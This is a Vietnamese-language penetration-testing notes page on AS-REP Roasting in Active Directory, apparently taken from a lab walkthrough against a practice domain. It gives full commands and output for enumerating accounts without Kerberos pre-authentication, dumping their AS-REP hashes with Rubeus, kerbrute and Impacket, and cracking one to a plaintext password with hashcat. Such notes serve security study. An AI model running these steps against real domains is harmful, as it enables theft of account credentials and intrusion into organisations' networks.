ASREPRoasting

Last updated 2 months ago

ASREPRoasting

Ý tưởng

Trong AD thì AS_REP Roasting là một kiểu tấn công do misconfig. Ta có thể request TGT của bất kỳ user nào mà có bật Do not require Kerberos pre-authentication setting.

Bình thường khi ta authen thì ta phải gửi user và password để encrypt với timestamp, sau đó DC sẽ decrypt để xác thực, nếu đúng sẽ trả về cho ta TGT, còn đối với khi pre-authentication không require ta có thể request TGT với bất kỳ user nào, khi này ta có thể offline crack để lấy password

Viewing an Account with the Do not Require Kerberos Preauthentication Option

Enumeration

Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl

samaccountname     : mmorgan
userprincipalname  : mmorgan@inlanefreight.local
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTH

Exploit với Rubeus

.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2

[*] Action: AS-REP roasting

[*] Target User            : mmorgan
[*] Target Domain          : INLANEFREIGHT.LOCAL

[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName=mmorgan))'
[*] SamAccountName         : mmorgan
[*] DistinguishedName      : CN=Matthew Morgan,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] Using domain controller: ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL (172.16.5.5)
[*] Building AS-REQ (w/o preauth) for: 'INLANEFREIGHT.LOCAL\mmorgan'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
     $krb5asrep$23$mmorgan@INLANEFREIGHT.LOCAL:D18650F4F4E0537E0188A6897A478C55$0978822DEC13046712DB7DC03F6C4DE059A946485451AAE98BB93DFF8E3E64F3AA5614160F21A029C2B9437CB16E5E9DA4A2870FEC0596B09BADA989D1F8057262EA40840E8D0F20313B4E9A40FA5E4F987FF404313227A7BFFAE748E07201369D48ABB4727DFE1A9F09D50D7EE3AA5C13E4433E0F9217533EE0E74B02EB8907E13A208340728F794ED5103CB3E5C7915BF2F449AFDA41988FF48A356BF2BE680A25931A8746A99AD3E757BFE097B852F72CEAE1B74720C011CFF7EC94CBB6456982F14DA17213B3B27DFA1AD4C7B5C7120DB0D70763549E5144F1F5EE2AC71DDFC4DCA9D25D39737DC83B6BC60E0A0054FC0FD2B2B48B25C6CA

Crack với hashcat

hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt 

hashcat (v6.1.1) starting...

<SNIP>

$krb5asrep$23$mmorgan@INLANEFREIGHT.LOCAL:d18650f4f4e0537e0188a6897a478c55$0978822dec13046712db7dc03f6c4de059a946485451aae98bb93dff8e3e64f3aa5614160f21a029c2b9437cb16e5e9da4a2870fec0596b09bada989d1f8057262ea40840e8d0f20313b4e9a40fa5e4f987ff404313227a7bffae748e07201369d48abb4727dfe1a9f09d50d7ee3aa5c13e4433e0f9217533ee0e74b02eb8907e13a208340728f794ed5103cb3e5c7915bf2f449afda41988ff48a356bf2be680a25931a8746a99ad3e757bfe097b852f72ceae1b74720c011cff7ec94cbb6456982f14da17213b3b27dfa1ad4c7b5c7120db0d70763549e5144f1f5ee2ac71ddfc4dca9d25d39737dc83b6bc60e0a0054fc0fd2b2b48b25c6ca:Welcome!00
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$mmorgan@INLANEFREIGHT.LOCAL:d18650f4f...25c6ca
Time.Started.....: Fri Apr  1 13:18:40 2022 (14 secs)
Time.Estimated...: Fri Apr  1 13:18:54 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   782.4 kH/s (4.95ms) @ Accel:32 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10506240/14344385 (73.24%)
Rejected.........: 0/10506240 (0.00%)
Restore.Point....: 10493952/14344385 (73.16%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: WellHelloNow -> W14233LTKM

Started: Fri Apr  1 13:18:37 2022
Stopped: Fri Apr  1 13:18:55 2022

Exploit bằng 1 số tool khác

Kerbrute

kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (9cfb81e) - 04/01/22 - Ronnie Flathers @ropnop

2022/04/01 13:14:17 >  Using KDC(s):
2022/04/01 13:14:17 >  	172.16.5.5:88

2022/04/01 13:14:17 >  [+] VALID USERNAME:	 sbrown@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 jjones@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 tjohnson@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 jwilson@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 bdavis@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 njohnson@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 asanchez@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 dlewis@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 ccruz@inlanefreight.local
2022/04/01 13:14:17 >  [+] mmorgan has no pre auth required. Dumping hash to crack offline:
$krb5asrep$23$mmorgan@INLANEFREIGHT.LOCAL:400d306dda575be3d429aad39ec68a33$8698ee566cde591a7ddd1782db6f7ed8531e266befed4856b9fcbbdda83a0c9c5ae4217b9a43d322ef35a6a22ab4cbc86e55a1fa122a9f5cb22596084d6198454f1df2662cb00f513d8dc3b8e462b51e8431435b92c87d200da7065157a6b24ec5bc0090e7cf778ae036c6781cc7b94492e031a9c076067afc434aa98e831e6b3bff26f52498279a833b04170b7a4e7583a71299965c48a918e5d72b5c4e9b2ccb9cf7d793ef322047127f01fd32bf6e3bb5053ce9a4bf82c53716b1cee8f2855ed69c3b92098b255cc1c5cad5cd1a09303d83e60e3a03abee0a1bb5152192f3134de1c0b73246b00f8ef06c792626fd2be6ca7af52ac4453e6a

<SNIP>

GetNPUsers

GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users 
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

[-] User sbrown@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jjones@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tjohnson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jwilson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bdavis@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User njohnson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User asanchez@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dlewis@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ccruz@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$mmorgan@inlanefreight.local@INLANEFREIGHT.LOCAL:47e0d517f2a5815da8345dd9247a0e3d$b62d45bc3c0f4c306402a205ebdbbc623d77ad016e657337630c70f651451400329545fb634c9d329ed024ef145bdc2afd4af498b2f0092766effe6ae12b3c3beac28e6ded0b542e85d3fe52467945d98a722cb52e2b37325a53829ecf127d10ee98f8a583d7912e6ae3c702b946b65153bac16c97b7f8f2d4c2811b7feba92d8bd99cdeacc8114289573ef225f7c2913647db68aafc43a1c98aa032c123b2c9db06d49229c9de94b4b476733a5f3dc5cc1bd7a9a34c18948edf8c9c124c52a36b71d2b1ed40e081abbfee564da3a0ebc734781fdae75d3882f3d1d68afdb2ccb135028d70d1aa3c0883165b3321e7a1c5c8d7c215f12da8bba9
[-] User rramirez@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jwallace@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jsantiago@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set

<SNIP>

PreviousKerberoasting NextDCSync